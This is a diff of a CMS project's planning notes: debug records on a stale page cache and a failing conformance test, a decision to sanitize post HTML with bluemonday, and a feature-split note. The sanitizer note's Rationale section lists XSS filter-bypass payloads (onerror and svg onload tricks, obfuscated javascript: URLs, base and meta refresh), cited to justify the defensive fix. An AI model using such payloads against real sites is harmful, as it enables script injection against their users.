found: no cache purge or invalidation hook anywhere (Go save path does not notify Nuxt; Nuxt exposes no purge route). Phase 16 D-07 chose swr deliberately ("a newly published post shows up without a rebuild"), TTLs were Claude's discretion; host README: "a newly published post appears within the TTL"; DEPLOY.md: "The Nuxt page caches (swr) expire by themselves." 16.2-VERIFICATION human item (line 39/211) and the UAT step say "the site shows the change" with no mention of the cache window
|
||||
implication: the staleness is designed behaviour of the Phase 16 host app, not a 16.2 regression; the UAT step omitted the wait, and there is no editor-facing way to see an edit immediately
|
||||
|
||||
- timestamp: 2026-10-10T15:29Z
|
||||
checked: grep for "Te grzyby, szczeg" in the host app (app/, i18n/), vue-journal-layer (app/, i18n/), the deployed Nuxt .output, and golem15_journal_posts content/content_html/excerpt
|
||||
found: no matches anywhere; the phrase exists only in category 2 content (now edited)
|
||||
implication: H4 eliminated — the old text on the site came from the category content in the cached render
|
||||
|
||||
## Resolution
|
||||
|
||||
root_cause: "Not a 16.2 save defect. The save, the DB row and the Journal API all carry the edit. The host app's Nitro swr route cache (vue-grzybyfunkcjonalne-app nuxt.config.ts routeRules '/**': { swr: 300 }, deployed as cache { swr: true, maxAge: 300 }, in-memory) served /cordyceps rendered at 14:59:08 UTC. That render came from the user's own pre-edit view, 40 s before the first PUT (14:59:48). Every post-save view (14:59:52 to 15:00:30) fell inside the entry's 300 s fresh window (to 15:04:08), and Nitro returns an unexpired entry without revalidating. Nothing invalidates the entry on admin save: there is no purge hook in sm-journal-plugin, vue-journal-layer or the host app. After expiry, the first view still gets the stale copy and triggers the re-render, so an edit shows only on the second view more than 300 s after the last render. Contributing: the 16.2 UAT/VERIFICATION step 'the site shows the change' does not account for the Phase 16 D-07 swr window."
|
||||
fix: (not applied — goal find_root_cause_only)
|
||||
verification: "Observed self-healing without any write: 127.0.0.1:3016/cordyceps returned the old text at 15:24:01 UTC (last-modified 14:59:08) and the new 'Te grzyby, a szczególnie' at 15:25:00 (last-modified 15:24:01)"
|
||||
files_changed: []
|
||||
|
||||
## Resolution
|
||||
|
||||
Fixed by plan 16.2-07 (released as summercms v0.1.20 and vue-journal-layer v0.3.0) and confirmed on UAT on 2026-10-10. See 16.2-07-SUMMARY.md.
|
||||
@@ -0,0 +1,156 @@
|
||||
---
|
||||
status: resolved
|
||||
trigger: "UAT gap G-16.2-1: bash scripts/check-phase16.2.sh postgres fails in ./modules/cabana: TestPhase10OpenAPIConformance: openapi_conformance_test.go:418: admin route GET /field-types has no conformance case"
|
||||
created: 2026-10-10T17:10:00+02:00
|
||||
updated: 2026-10-10T20:05:00+02:00
|
||||
goal: find_root_cause_only
|
||||
---
|
||||
|
||||
## Current Focus
|
||||
|
||||
hypothesis: CONFIRMED — the postgres stage is red for two code defects, both written in 16.2 and both hidden because the checks only run in Docker-only test binaries that never ran before UAT: (1) two 16.2 admin routes have no conformCase in TestPhase10OpenAPIConformance; (2) sm-journal-plugin TestJournalSVGEmbed still asserts post content `type: mlmarkdown` after 16.2-03 changed it to `mlblogeditor`.
|
||||
test: done — static diff, 3x direct repro, full cabana and Journal postgres-stage runs on this Docker host
|
||||
expecting: n/a
|
||||
next_action: return ROOT CAUSE FOUND (goal: find_root_cause_only); plan-phase --gaps owns the fix
|
||||
bug_class: Bohrbug (deterministic; Go map iteration only changes WHICH of the two missing keys line 418 reports first)
|
||||
reasoning_checkpoint:
|
||||
hypothesis: "TestPhase10OpenAPIConformance fails because cabana.AdminAPIRoutes() (phase09Routes non-spa keys) has 56 entries and the conformCase list 54: GET /field-types and POST /{vendor}/{plugin}/{controller}/{id}/fields/{field}/upload, both added to the inventory in 16.2-01, have no case; once fixed, the same stage fails next on TestJournalSVGEmbed because it asserts `type: mlmarkdown` in models/post/fields.yaml, which 16.2-03 replaced with `type: mlblogeditor`."
|
||||
confirming_evidence:
|
||||
- "static diff of security_coverage_test.go phase09Routes vs conformCase keys: uncovered = [GET /field-types, POST .../fields/{field}/upload]; not-inventoried = []"
|
||||
- "go test -count=3 -run '^TestPhase10OpenAPIConformance$' ./modules/cabana: FAIL 3/3, line 418 reports upload, field-types, upload"
|
||||
- "Journal `go test -json -count=1 ./...` on this Docker host: only failure is TestJournalSVGEmbed, plugin_test.go:123 'post fields.yaml content is not mlmarkdown'; fields.yaml line 19 is `type: mlblogeditor` since fbd1c85"
|
||||
- "cabana with -skip TestPhase10OpenAPIConformance: package PASS, 291 top-level tests, TestFieldTypeSavePostgres and TestListRelationSearchPostgres PASS with real Postgres queries in the output"
|
||||
falsification_test: "If adding conformCases for exactly those two keys (and fixing the mlmarkdown assertion) still left the postgres stage red, or if the inventory/case diff showed a third key, the hypothesis would be incomplete."
|
||||
fix_rationale: "Adding the two cases satisfies the exhaustiveness invariant and checks the real responses against admin.json (FieldTypesResponse, Envelope-cabana_FieldUploadResponse); updating the stale Journal assertion aligns it with the intended 16.2 field type. Separating the static inventory check from the Docker setup closes the masking path."
|
||||
blind_spots: "The conformance cases themselves have not been written, so it is unverified that the fixture-backed responses decode cleanly with DisallowUnknownFields (e.g. FieldTypesResponse meta is `{}` from WriteData, which decodes into SuccessMeta; the upload case needs a conform plugin field type with Upload). Admin/editor/layer/docs stages were not re-run in this session."
|
||||
candidate_causes:
|
||||
- "code: missing conformCase entries for the two 16.2 routes (CONFIRMED)"
|
||||
- "code: stale TestJournalSVGEmbed assertion vs the intended mlblogeditor change (CONFIRMED)"
|
||||
- "environment: no Docker on the 16.2 execution host, so every testcontainers binary failed on docker.sock and was waved through as 'Docker-only' (CONFIRMED contributing)"
|
||||
- "config/process: gate go stage FRAMEWORK_RUN omits TestPhase10OpenAPIConformance; the static inventory check runs after newConformEnv -> adminGorm; 16.2-01 PLAN/PATTERNS name phase09Routes + admin_openapi.go but not openapi_conformance_test.go (CONFIRMED contributing)"
|
||||
- "data/environment: container start failure or flaky Postgres (ELIMINATED — containers start, 291 cabana + 66 Journal top-level tests pass)"
|
||||
and_gate: "yes — the UAT failure needed the code defects AND the masking (static checks reachable only through testcontainers, no Docker during execution, go stage regex omits the test). Either code defect alone turns the stage red; the masking is why neither was caught before UAT."
|
||||
|
||||
## Symptoms
|
||||
|
||||
expected: `bash scripts/check-phase16.2.sh postgres` passes on a Docker host (cabana testcontainers suites incl. TestFieldTypeSavePostgres; Journal admin harness in ../sm-journal-plugin incl. TestPostsAdminResaveKeepsHTML, TestPostsAdminSaveSanitizesHTML, TestCategoriesAdminContent, TestCategoriesAdminBlogEditor)
|
||||
actual: run 2026-10-10 16:57 CEST on a Docker host, the stage fails in ./modules/cabana: `--- FAIL: TestPhase10OpenAPIConformance` — `openapi_conformance_test.go:418: admin route GET /field-types has no conformance case`. The script stops there; the Journal Postgres suites never ran.
|
||||
errors: openapi_conformance_test.go:418: admin route GET /field-types has no conformance case
|
||||
reproduction: bash scripts/check-phase16.2.sh postgres (UAT Test 1)
|
||||
started: Phase 16.2 (GET /field-types added in 16.2; discovered during UAT)
|
||||
|
||||
## Eliminated
|
||||
|
||||
- hypothesis: the postgres stage fails because of Docker/testcontainers environment problems (container start, timeouts)
|
||||
evidence: in the UAT log the cabana package ran 90s and only TestPhase10OpenAPIConformance failed; in this session cabana (skip conformance) passed 291 top-level tests in 77s and the Journal run passed every package but root, with real SQL in the logs
|
||||
timestamp: 2026-10-10T17:21:00+02:00
|
||||
|
||||
- hypothesis: only GET /field-types is missing a conformance case
|
||||
evidence: the inventory/case diff shows POST /{vendor}/{plugin}/{controller}/{id}/fields/{field}/upload is uncovered too; `go test -count=3` reported the upload key in runs 1 and 3 and field-types in run 2
|
||||
timestamp: 2026-10-10T17:24:00+02:00
|
||||
|
||||
- hypothesis: the gap in the Journal suites is limited to the cabana abort (they would pass once cabana is green)
|
||||
evidence: running the Journal stage command directly fails on TestJournalSVGEmbed (stale mlmarkdown assertion), which is in PG_JOURNAL_REQUIRE
|
||||
timestamp: 2026-10-10T17:20:00+02:00
|
||||
|
||||
## Evidence
|
||||
|
||||
- timestamp: 2026-10-10T17:12:00+02:00
|
||||
checked: .planning/debug/knowledge-base.md (Phase 0)
|
||||
found: no knowledge base file exists; no prior pattern to test
|
||||
implication: open-ended investigation
|
||||
|
||||
- timestamp: 2026-10-10T17:13:00+02:00
|
||||
checked: scratchpad/pg.log (UAT run of the postgres stage)
|
||||
found: detect_go reports failed only "modules/cabana TestPhase10OpenAPIConformance" plus the package; openapi_conformance_test.go:418 "admin route GET /field-types has no conformance case"; package took 90s (containers started fine)
|
||||
implication: the only failing cabana test in that run was the conformance test; run_postgres aborts (set -e) before the Journal go_json call
|
||||
|
||||
- timestamp: 2026-10-10T17:15:00+02:00
|
||||
checked: modules/cabana/openapi_conformance_test.go:129-450
|
||||
found: TestPhase10OpenAPIConformance calls newConformEnv(t) FIRST (line 130), then builds the conformCase list, then requires covered == inventory where inventory = cabana.AdminAPIRoutes() (export_test.go: every non-spa phase09Routes key). Missing key -> t.Fatalf at line 418 inside a `for key := range inventory` map loop (random order, so only the first missing key found is reported).
|
||||
implication: the exhaustiveness check is purely static but cannot run without a Postgres container
|
||||
|
||||
- timestamp: 2026-10-10T17:16:00+02:00
|
||||
checked: modules/cabana/auth_test.go:321-365 adminGorm
|
||||
found: testing.Short() -> t.Skip; otherwise testcontainers postgres:16-alpine; a container error -> t.Fatalf("postgres: %v")
|
||||
implication: on a host without Docker the conformance test fails at setup with a docker.sock error, masking the inventory check
|
||||
|
||||
- timestamp: 2026-10-10T17:17:00+02:00
|
||||
checked: grep of conformCase keys vs modules/cabana/security_coverage_test.go phase09Routes
|
||||
found: TWO inventoried non-spa routes have no conformCase: "GET /field-types" (inventory line 46) and "POST /{vendor}/{plugin}/{controller}/{id}/fields/{field}/upload" (inventory line 92). `grep 'fields/{field}/upload\|/field-types' openapi_conformance_test.go` -> no match.
|
||||
implication: fixing only GET /field-types would leave the test failing on the upload route next
|
||||
|
||||
- timestamp: 2026-10-10T17:18:00+02:00
|
||||
checked: git log -S on security_coverage_test.go and git log of openapi_conformance_test.go
|
||||
found: GET /field-types entered the inventory in 717d46e (feat(16.2-01) compile, decode and load plugin field types), the upload route in 8fa92db (feat(16.2-01) ... uploads). openapi_conformance_test.go was last touched by 64d21c8/143eca5 (My account), b492e79 (markdown preview) — earlier route additions did add a conformCase in the same change; 16.2 did not.
|
||||
implication: a convention ("new admin route => conformCase") that held before 16.2 was missed in 16.2-01
|
||||
|
||||
- timestamp: 2026-10-10T17:19:00+02:00
|
||||
checked: .planning/phases/16.2-*/ SUMMARY and VERIFICATION docs
|
||||
found: no 16.2 plan mentions TestPhase10OpenAPIConformance; 16.2-01/03/05/06 SUMMARYs record "No Docker on this host (docker.sock permission denied)" and "the only failures ... are the testcontainers suites failing on docker.sock" — cabana is in that list. VERIFICATION marks the postgres stage "? SKIP (human item 1)".
|
||||
implication: the conformance failure was hidden inside the blanket "Docker-only failure" bucket; nobody ran cabana's testcontainers suites before UAT
|
||||
|
||||
- timestamp: 2026-10-10T17:20:00+02:00
|
||||
checked: scripts/check-phase16.2.sh go stage
|
||||
found: FRAMEWORK_RUN regex lists TestPhase09ContractInventory and TestPhase09PermissionMatrix (static, both pass: they compare the mount with phase09Routes and admin.json paths) but NOT TestPhase10OpenAPIConformance; the go stage runs with -run "$FRAMEWORK_RUN" so the conformance test never runs there. The postgres stage runs the whole ./modules/cabana package and is the only stage that reaches it.
|
||||
implication: no non-Docker gate covers the inventory-vs-conformance-case invariant
|
||||
|
||||
- timestamp: 2026-10-10T17:21:00+02:00
|
||||
checked: admin/openapi/admin.json for both routes; modules/cabana/admin_openapi.go:264-276; field_type.go:834-871; contracts.go:245
|
||||
found: GET /field-types 200 documents $ref cabana.FieldTypesResponse ({data: []cabana.FieldTypeAssets, meta: cabana.SuccessMeta}, all of name/element/translatable/scripts/styles required); the handler writes WriteData(200, []FieldTypeAssets, nil) => {"data":[...],"meta":{}}. POST .../fields/{field}/upload 201 documents cabana.Envelope-cabana_FieldUploadResponse ({data:{url}, meta}); multipart part named "file". conformPlugin (openapi_conformance_test.go:818-843) does NOT implement pact.HasFormFieldTypes and the gadget fields.yaml has no plugin-typed field.
|
||||
implication: a GET /field-types case can decode into cabana.FieldTypesResponse with ref "cabana.FieldTypesResponse" today (empty list); a meaningful case and any upload case need the conform fixture to register a plugin field type (with Upload, scripts) and a gadget field of that type
|
||||
|
||||
- timestamp: 2026-10-10T17:19:00+02:00
|
||||
checked: route registrations added since 16.1/16.2 started (git diff 1ef21b0~1..HEAD of non-test modules/**/*.go in summercms.go; c60abc6..HEAD of non-test *.go in sm-journal-plugin)
|
||||
found: summercms.go adds exactly two routes: g.Get("/field-types") and g.Post("/{vendor}/{plugin}/{controller}/{id}/fields/{field}/upload"). sm-journal-plugin adds none (editor uploads go through the cabana route).
|
||||
implication: the conformance gap is exactly those two routes; no other 16.2 route is missing a case
|
||||
|
||||
- timestamp: 2026-10-10T17:19:30+02:00
|
||||
checked: ran the Journal postgres-stage command exactly as run_postgres does (`go test -json -count=1 -timeout 20m ./...` in ../sm-journal-plugin, which go.work/replace points at ../summercms.go) on this Docker host
|
||||
found: packages classes, controllers, controllers/api, models, updates PASS; root package FAIL. Required tests: TestPostsFormCompiles PASS, TestPostsAdminCreateSmoke PASS, TestPostsAdminResaveKeepsHTML PASS, TestPostsAdminSaveSanitizesHTML PASS, TestCategoriesAdminContent PASS, TestCategoriesAdminBlogEditor PASS, TestJournalSVGEmbed FAIL — plugin_test.go:123 "post fields.yaml content is not mlmarkdown". 66 top-level tests passed, no skips, no "no tests to run".
|
||||
implication: a SECOND, independent failure is queued behind the cabana one; fixing only the conformance case still leaves the postgres stage red
|
||||
|
||||
- timestamp: 2026-10-10T17:20:00+02:00
|
||||
checked: sm-journal-plugin plugin_test.go:118-124, models/post/fields.yaml, git show fbd1c85 / 47f3032
|
||||
found: TestJournalSVGEmbed asserts strings.Contains(fields.yaml, "type: mlmarkdown") (a Phase 15 assertion). 16.2-03 commit fbd1c85 "feat(admin): post content on the Blog Editor field type" changed post content from `type: mlmarkdown` to `type: mlblogeditor` (+ htmlColumn, uploadFolder); no other post field is mlmarkdown. 47f3032 (16.2-02) extended the same test with bundle checks but did not touch the mlmarkdown assertion. The root package TestMain needs testcontainers, so the test never ran on the no-Docker 16.2 execution host (16.2-02-SUMMARY line 263/278/293).
|
||||
implication: stale assertion contradicting an intended 16.2 change; same masking mechanism (Docker-only suite never executed before UAT)
|
||||
|
||||
- timestamp: 2026-10-10T17:22:00+02:00
|
||||
checked: static diff (python over security_coverage_test.go phase09Routes and the conformCase literal keys)
|
||||
found: inventory non-spa 56, cases 54; uncovered = ['GET /field-types', 'POST /{vendor}/{plugin}/{controller}/{id}/fields/{field}/upload']; not inventoried = []
|
||||
implication: exactly two cases are missing
|
||||
|
||||
- timestamp: 2026-10-10T17:23:00+02:00
|
||||
checked: cabana run on this Docker host: `go test -json -count=1 -timeout 15m -skip '^TestPhase10OpenAPIConformance$' ./modules/cabana`
|
||||
found: package PASS (77s), 291 top-level tests passed, no fails, no skips, no "no tests to run". TestFieldTypeSavePostgres PASS (real SELECT ... FOR UPDATE on ft_notes in its output), TestListRelationSearchPostgres PASS, TestMLOpenAPIConformance PASS.
|
||||
implication: TestPhase10OpenAPIConformance is the only cabana failure in the postgres stage
|
||||
|
||||
- timestamp: 2026-10-10T17:24:00+02:00
|
||||
checked: `go test -count=3 -timeout 10m -run '^TestPhase10OpenAPIConformance$' ./modules/cabana`
|
||||
found: FAIL 3/3: run1 "POST /{vendor}/{plugin}/{controller}/{id}/fields/{field}/upload has no conformance case", run2 "GET /field-types has no conformance case", run3 upload again
|
||||
implication: deterministic failure; which key is named depends on map iteration order
|
||||
|
||||
- timestamp: 2026-10-10T17:25:00+02:00
|
||||
checked: 16.2-01-PLAN.md tasks 2/3 and 16.2-PATTERNS.md line 24/109
|
||||
found: both name admin_openapi.go + phase09Routes (+ check-admin-openapi.sh) as the places to register a new admin route; neither names openapi_conformance_test.go. Task automated verifies run only TestPhase09ContractInventory/TestPhase09PermissionMatrix (static), which pass.
|
||||
implication: the route-registration checklist given to the executor was incomplete — the third location of the invariant was not in it
|
||||
|
||||
- timestamp: 2026-10-10T17:26:00+02:00
|
||||
checked: compileFieldTypes (field_type.go ~160-190), conformPlugin, admin.json schemas
|
||||
found: a registered type needs an element under the plugin's widget tag prefix and, for scripts/styles, pact.AdminAssets with the files in AdminFS (conformPlugin already has AdminFS with js/css assets). FieldTypesResponse decodes {"data":[...],"meta":{}} (SuccessMeta all-omitempty). Upload 201 is Envelope-cabana_FieldUploadResponse with multipart part "file".
|
||||
implication: fix-direction constraints for the plan (see Resolution)
|
||||
|
||||
## Resolution
|
||||
|
||||
root_cause: "(1) Phase 16.2-01 added GET /field-types (717d46e) and POST /{vendor}/{plugin}/{controller}/{id}/fields/{field}/upload (8fa92db) to the admin route inventory (phase09Routes) and admin.json but added no conformCase to TestPhase10OpenAPIConformance (modules/cabana/openapi_conformance_test.go), whose exhaustiveness check (line 416-419) fails on whichever of the two it meets first; (2) sm-journal-plugin TestJournalSVGEmbed (plugin_test.go:122-123, in PG_JOURNAL_REQUIRE) still asserts `type: mlmarkdown` in models/post/fields.yaml after 16.2-03 (fbd1c85) changed post content to `type: mlblogeditor`; (3) contributing: both checks are static but live in testcontainers-only binaries (newConformEnv -> adminGorm runs before the inventory check; the Journal root TestMain starts Postgres), the 16.2 execution host had no Docker and the summaries filed every cabana/Journal-root failure as docker.sock noise, check-phase16.2.sh's go-stage FRAMEWORK_RUN omits TestPhase10OpenAPIConformance, and the 16.2-01 PLAN/PATTERNS route checklist omitted openapi_conformance_test.go."
|
||||
fix: ""
|
||||
verification: ""
|
||||
files_changed: []
|
||||
suggested_fix_direction: |
|
||||
- Add two conformCases. GET /field-types: status 200, ref "cabana.FieldTypesResponse", decode into[cabana.FieldTypesResponse](); register a plugin field type on the conform fixture (conformPlugin implements pact.HasFormFieldTypes; element under its widget tag prefix; a script already in conformFS) so the list is non-empty and the ?v= asset URL can be checked with assertPluginAsset. POST .../fields/{field}/upload: status 201, ref "cabana.Envelope-cabana_FieldUploadResponse", decode into[cabana.Envelope[cabana.FieldUploadResponse]](); a gadget fields.yaml field of that alias whose type has Upload, multipart part named "file", sent with requireAjax headers. Mind that a plugin-typed field on the gadget form also runs Decode/Load in the existing create/update/show cases — make them benign or give conformGadget a column for it.
|
||||
- Fix TestJournalSVGEmbed to assert the intended `type: mlblogeditor` (optionally htmlColumn: content_html) for post content.
|
||||
- Recurrence guard: split the static inventory check out of the Docker setup (e.g. move `env := newConformEnv(t)` after the coverage loop, or a package-level conformCaseKeys + a Docker-free TestPhase10ConformanceInventory) and add it to FRAMEWORK_RUN in check-phase16.2.sh (and later gates); add openapi_conformance_test.go to the "new admin route" checklist next to phase09Routes and admin_openapi.go.
|
||||
|
||||
## Resolution
|
||||
|
||||
Fixed by plan 16.2-07 (released as summercms v0.1.20 and vue-journal-layer v0.3.0) and confirmed on UAT on 2026-10-10. See 16.2-07-SUMMARY.md.
|
||||
70
.planning/notes/journal-html-sanitizing-bluemonday.md
Normal file
70
.planning/notes/journal-html-sanitizing-bluemonday.md
Normal file
@@ -0,0 +1,70 @@
|
||||
# Decision: bluemonday sanitizes journal post HTML
|
||||
|
||||
**Date:** 2026-10-09
|
||||
**Status:** Accepted (fixes Phase 16.1 code review CR-01 and WR-01)
|
||||
**Supersedes:** the three-regex `rejectUnsafe` gate in `sm-journal-plugin/classes/format_html.go` and the Phase 16.1 threat-register claim T-16.1-02
|
||||
|
||||
## Decision
|
||||
|
||||
`sm-journal-plugin` adds `github.com/microcosm-cc/bluemonday` v1.0.27 (the latest tag; the repository is not archived and has had no release since July 2024). `classes.FormatHTML` renders markdown with goldmark `html.WithUnsafe()` as before, then sanitizes the result with a package-level bluemonday policy. The plugin also imports `golang.org/x/net/html` directly. It was already in the build through bluemonday and the framework.
|
||||
|
||||
The policy is `bluemonday.UGCPolicy()` with these changes, each taken from goldmark's own output or from the posts and categories on the UAT database:
|
||||
|
||||
| Change | Why |
|
||||
|---|---|
|
||||
| `RequireNoFollowOnLinks(false)` | Winter does not add `rel="nofollow"`, so stored links keep their form. |
|
||||
| `footer` element | An imported author footer (post 64). |
|
||||
| `class` on every element, matching `SpaceSeparatedTokens` | Imported footers and goldmark's `{.class}` attributes and footnote classes. |
|
||||
| `itemscope` (empty), `itemtype` (`https://schema.org/<Type>` only), `itemprop` | schema.org microdata in the imported author footer. |
|
||||
| Styles `color`, `font-size`, `font-weight`, `text-align` | Inline styles in the imported author footer, and goldmark's table cell alignment. bluemonday validates each value. |
|
||||
| `role` = `doc-noteref`, `doc-endnotes` or `doc-backlink` on `a` and `div` | goldmark's footnote markup. |
|
||||
| `dir` = `ltr`, `rtl` or `auto` | Pasted chat transcripts in category bodies use `dir="auto"`. UGC's `Direction` allows only `ltr` and `rtl`. |
|
||||
| `data-message-author-role`, `data-message-id` on `div` (`[A-Za-z0-9_-]+`) | The same pasted transcripts. This is not `AllowDataAttributes()`, which would allow every `data-*` attribute. |
|
||||
|
||||
Everything else that UGC refuses is refused: `script`, `style`, `iframe`, `object`, `embed`, `form`, `input`, `base`, `meta`, `link`, `svg`, `math`, comments, every `on*` attribute, `target`, `rel`, `title` values outside UGC's `Paragraph` pattern, and URLs other than `http`, `https`, `mailto` and relative URLs. bluemonday checks URLs after the tokenizer has decoded entities, and it requires them to parse with `net/url`.
|
||||
|
||||
## Strip vs refuse
|
||||
|
||||
- **Posts strip.** `FormatHTML` stores the sanitized output and never fails because of unsafe markup. This is parity: Winter's `Post::formatHtml` runs `Html::clean` for every writer without `backend.allow_unsafe_markdown` (a CLI import has no backend user, so it is always cleaned). `Html::clean` strips `on*` and `xmlns` attributes, `javascript:`, `vbscript:` and `data:` URLs, `style` attributes, and the `script`, `style`, `iframe`, `embed`, `object`, `meta`, `base` and `link` tags. It never refuses. The Go port sanitizes for every writer. There is no permission that skips it, because superusers in PHP hold `backend.allow_unsafe_markdown` implicitly, and that loophole is exactly the escalation CR-01 describes. No post test or API contract required a 422 for unsafe content. Only the old `classes` unit test did, and it now asserts stripping. `content` itself is still stored as submitted, as in PHP.
|
||||
- **Byte-stable when nothing is stripped.** `sanitizeHTML` returns the goldmark output unchanged when that output and bluemonday's output tokenize to the same tokens: the same type, tag name, decoded text and set of decoded attributes. Otherwise it returns bluemonday's output. bluemonday re-escapes `"` as `"` and `'` as `'`, so storing its output every time would rewrite every imported post on its next save. Returning the original bytes is safe only on that token-level equality. Any element, attribute or comment that the policy drops makes the tokens differ, and then the sanitized output is stored.
|
||||
- **Category content refuses.** `classes.CheckHTML` keeps its exported signature and its 422 contract. D-21 stores category content exactly as submitted, and `TestCategoriesAdminContent` asserts a 422 for unsafe content. CheckHTML now uses the same policy and comparison, and refuses whenever the policy would change the HTML.
|
||||
|
||||
- **Amended 2026-10-10 (Phase 16.2 D-10): category content strips too, and admin saves report what was stripped.** The user chose one rule for both: post and category admin writes store the sanitized output and never fail. `CheckHTML`'s 422 contract for categories and the `TestCategoriesAdminContent` 422 assertion are retired in Phase 16.2. Winter stored category content unsanitized; that was a gap, not a contract. When the policy removes anything, the admin save response names what was removed. The policy (and the layer's sanitize-html mirror) is extended only for the Blog Editor's own output, such as the `figure data-embed`/`data-id` embed placeholder.
|
||||
|
||||
Phase 16.2 plan 03 implements this. The Blog Editor field types decode every locale's value with `classes.SanitizeHTMLReport`, store its output (the submitted bytes when nothing is removed) and return what was removed as admin notices; an admin save of post content writes the same HTML to `content` and `content_html` without goldmark. `newHTMLPolicy` gains exactly four rules for the editor's own output, and nothing else (no iframe, no other `data-*` attribute, no `target`, `rel`, style property or URL scheme). Plan 02's `tests/blogeditor/fixtures/editor-corpus.json` pins them: `TestEditorOutputPassesPolicy` requires every corpus entry to come back from `SanitizeHTML` byte for byte with an empty report, and checks that other providers, malformed ids and other attributes are still stripped. Plan 04 adds the same four rules to the layer's sanitize-html mirror and checks the same corpus. A fifth rule is added only to both policies together.
|
||||
|
||||
| Change (Phase 16.2) | Why |
|
||||
|---|---|
|
||||
| `data-embed` matching `^youtube$` on `figure` | The editor's embed placeholder `<figure data-embed="youtube" data-id="..."></figure>`; the layer expands it, no iframe is stored. |
|
||||
| `data-id` matching `^[A-Za-z0-9_-]{11}$` on `figure` | The YouTube video id of the same placeholder. |
|
||||
| `alt` with any text on `img` | The editor's alt field takes free text; UGC's `Paragraph` pattern drops `:`, `?`, `"` and more. The value is escaped on output and carries no URL. |
|
||||
| `start` matching `^[0-9]+$` on `ol` | TipTap's ordered-list input rule writes it when a list does not start at 1. |
|
||||
|
||||
- **Translations follow the same rule (2026-10-10, audit W-1).** `classes.FormatTranslation` runs on every locale of every API and import write: a non-blank `content` re-derives `content_html` with `FormatHTML` (a supplied `content_html` is replaced, as for the host column); a `content_html` sent alone goes through `classes.SanitizeHTML`, the same policy. A translation keyed on the default locale, which `translate.SetTranslated` writes straight into the host column, is covered too. PHP stored a client-supplied translated `content_html` as-is on the API and import paths; the port follows the PHP admin widget, which always derived it.
|
||||
- **Duplicate attributes count as a change (audit W-2).** `golang.org/x/net/html` drops a repeated attribute while tokenizing, so the byte-stable comparison could not see `href="https://x" href="javascript:..."`. `htmlTokens` compares the raw attribute names of each start tag (`rawAttrNames`) with the attributes the tokenizer kept; any difference stores the sanitized output and makes `CheckHTML` refuse.
|
||||
|
||||
## Rationale
|
||||
|
||||
The regex blocklist could be bypassed once raw HTML passed through. These payloads came back unchanged with no error: `<img src="x"onerror=...>` (no space before the attribute), `<svg/onload=...>`, `javascript:`, `javascript:`, `javascript:`, `java<TAB>script:`, MathML `xlink:href`, and the inert-looking but dangerous `<base>`, `<meta http-equiv=refresh>` and `<form>`. The `data:` pattern also matched ordinary text, so "Data: 12 maja 2024" and "metadata:" were refused (WR-01). A sanitizer that tokenizes the HTML checks attributes and URL values in the same way a browser parses them, so it does not depend on any text pattern.
|
||||
|
||||
## Alternatives considered
|
||||
|
||||
- **A hand-built allow-list gate on `golang.org/x/net/html`.** It would add no new module, but the element and attribute allow-lists, the URL normalization (entity decoding, stripping ASCII whitespace and control characters, scheme checks) and the CSS value checks would be new security code that this project would own. bluemonday is the maintained Go implementation of exactly that, with its own test corpus. The project prefers a maintained library for protocol and security code.
|
||||
- **Anchoring the regexes to attribute values** (the WR-01 stop-gap). It fixes the false refusals but not the bypasses.
|
||||
- **Refusing posts with a 422 instead of stripping.** That is not PHP parity. It would also turn every pasted editor fragment that contains a stray `style` element or attribute into a failed save or import.
|
||||
|
||||
## Consequences
|
||||
|
||||
- UAT impact scan, read-only, run on 2026-10-09 over 104 posts, 2 `en` translations and 6 category bodies:
|
||||
- **No stored post or category holds an XSS payload.**
|
||||
- Only post 64 changes when it is next re-saved. Its 24-line `<style>` block for the author footer is removed, so the footer loses its flex layout and the round photo. The footer's `itemscope` is re-serialized as `itemscope=""`, and its inline styles lose the trailing `;`. The text, image and microdata stay.
|
||||
- All 6 category bodies pass `CheckHTML`.
|
||||
- The stored `content_html` does not change until a post is saved again.
|
||||
- The README Posts bullet, the `CheckHTML` row and the Dependencies line in `sm-journal-plugin/README.md` describe the sanitizer.
|
||||
- `sm-grzybyfunkcjonalne-app` includes the plugin as a submodule (`plugins/golem15/journal`), so it gets the fix when that submodule is bumped. Its workspace then needs bluemonday's `go.sum` lines.
|
||||
|
||||
## Follow-ups
|
||||
|
||||
- Done: the post 64 author-footer CSS moved into vue-grzybyfunkcjonalne-app `app/assets/css/base.css` (2c46185).
|
||||
- Done: `vue-journal-layer` replaced its regex gate with sanitize-html 2.18.0 mirroring this policy (5beb1c5; decision note `docs/decisions/0001-sanitize-html.md` in that repository, which explains why not DOMPurify).
|
||||
- If editors need `target="_blank"` links, `rel`, or `title` values with quotes or `&`, extend the policy deliberately. These are not allowed now because no imported content uses them.
|
||||
45
.planning/notes/wavepath-framework-asks-division.md
Normal file
45
.planning/notes/wavepath-framework-asks-division.md
Normal file
@@ -0,0 +1,45 @@
|
||||
---
|
||||
title: How the WavePath framework asks divide between SummerCMS and WavePath
|
||||
date: 2026-10-11
|
||||
context: /msd-explore on the WavePath hand-off list `/media/nvme/dev/jz/wavepath.org/.planning/notes/summercms-framework-asks-for-wavepath.md`. Seed `SEED-261007-0tb`.
|
||||
---
|
||||
|
||||
# How the WavePath framework asks divide between SummerCMS and WavePath
|
||||
|
||||
WavePath's agent wrote a list of what it needs from SummerCMS (section A) and what it will do itself (section B). Section B stays on the WavePath side as its migration milestone. Section A lands here as the 19.x phases, all before the Płytarium cutover (Phase 20).
|
||||
|
||||
## Decisions
|
||||
|
||||
- **The 19.x block comes before the cutover.** Chat first, then chat polish, then the other framework and user-plugin asks. Phase 20 waits for 19 to 19.6. The WavePath migration milestone opens after Phase 20.
|
||||
- **Chat is ported from the WavePath copy**, with `root_id` threading and `thread_summaries`. This settles the open chat-source question for Phase 19.
|
||||
- **The seed's trigger is now "Phase 20 complete".** The WavePath milestone no longer waits for the Horoskopia port.
|
||||
|
||||
## Where each ask lands
|
||||
|
||||
| Ask | Where |
|
||||
|---|---|
|
||||
| A9: chat and chatchannels | Phase 19 |
|
||||
| A9: chatbots, chatvideo (LiveKit, reconcile job), forum, herald (web push), userfriends | Phase 19.1 |
|
||||
| Chat parity against WavePath's clients | Phase 19.2 |
|
||||
| A3 cookie refresh and CORS, A6 cache and Redis `surf.Store`, A8 S3 option, `/api-docs`, Turnstile | Phase 19.3 (`summercms.go`) |
|
||||
| A1 OIDC provider | Phase 19.4 (`wristband`) |
|
||||
| A2 social login | Phase 19.5 (`sm-user-plugin`) |
|
||||
| A4 2FA, A5 device flow | Phase 19.6 (`sm-user-plugin`) |
|
||||
| A7 `summer import:winter` | Phase 20 (D-02 runner), with the WavePath stress cases below |
|
||||
